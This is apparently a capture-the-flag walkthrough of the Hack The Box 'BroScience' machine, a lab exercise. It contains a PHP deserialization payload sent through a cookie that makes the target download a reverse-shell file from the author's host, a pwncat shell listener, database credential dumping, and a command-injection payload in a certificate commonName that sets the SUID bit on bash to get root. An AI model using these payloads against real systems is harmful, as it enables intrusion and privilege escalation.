Open 10.129.126.84:22
Open 10.129.126.84:80
Open 10.129.126.84:443
Services
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl syn-ack ttl 63
|_ip-https-discover: ERROR: Script execution failed (use -d to debug)
|_http-title: 400 Bad Request
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Sitename
Using curl we are able to determine the servername and can add it to our /etc/hosts file which can help us for example in subdomain enumeration
curl -Iv 10.129.126.84
* Trying 10.129.126.84:80...
* Connected to 10.129.126.84 (10.129.126.84) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 10.129.126.84
> User-Agent: curl/7.85.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
HTTP/1.1 301 Moved Permanently
< Server: Apache/2.4.54 (Debian)
Server: Apache/2.4.54 (Debian)
< Location: https://broscience.htb/
Location: https://broscience.htb/
# We identified "bill" as user and it seems that postgresql is installed
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
Seems to be the script that generates activation codes and is used to update a cookie called user-prefs. Since user-prefs uses serialization this could be an attack vector during our next steps.
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
Exploitation
User activation
We'll use the code snippet discovered in includes/utils.php to generate an activation code for our previously created user.
The date has been taken from the burp request that was captured while registering on the page.
After we logged in we can see that a new Cookie called users-prefs has been added. This cookie changes as soon as we switch the theme using swap_theme.php
Following code has been taken from includes/utils.php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
Exploitation
We'll no change the class Avatar code up a little to generate serialized data that we will inject using the user-prefs cookie.
serialized.php
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.161/rev.php";
public $imgPath = "./rev.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$serialized = base64_encode(serialize(new AvatarInterface));
echo $serialized
?>
# Change your user-prefs cookie to include the serialized data and reload the page after you started the webserver
# Host a simple webserver
┌──(mrk㉿oscp)-[~/Dokumente/htb/lab/broscience]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.126.84 - - [09/Jan/2023 23:05:31] "GET /rev.php HTTP/1.0" 200 -
# Now just open rev.php either in your browser or using the commandline
┌──(mrk㉿oscp)-[~/Dokumente/htb/lab/broscience]
└─$ curl -k https://broscience.htb/rev.php
# We got a shell
┌──(mrk㉿oscp)-[~]
└─$ pwncat-cs -lp 4444
[23:05:40] Welcome to pwncat 🐈! __main__.py:164
[23:05:41] received connection from 10.129.126.84:47600 bind.py:84
[23:06:02] 10.129.126.84:47600: registered new host w/ db
Privilege Escalation - Bill
Postgres
We start with enumeration of the database of which we already discovered the credentials
psql -h localhost -d broscience -U dbuser -W
broscience-> \d
List of relations
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
broscience=> SELECT * FROM users;
administrator:CENSORED
bill:CENSORED
michael:CENSORED
john:CENSORED
dmytro:CENSORED
Cracking Hashes
Every password used NaCl as password salt so we have to edit our wordlist before we can crack the hashes
Let's create a certificate that will expire soon so that root will create a new one.
We will leave everything empty except the commonName, that's the place where we store our payload.
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 10
Generating a RSA private key
........................................................................++++
.............................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
Email Address []:
After waiting for a while /bin/bash will be modified and we can use the suid permissions to become root!
ROOT
bill@broscience:~/Certs$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
bill@broscience:~/Certs$ /bin/bash -p
bash-5.1# whoami
root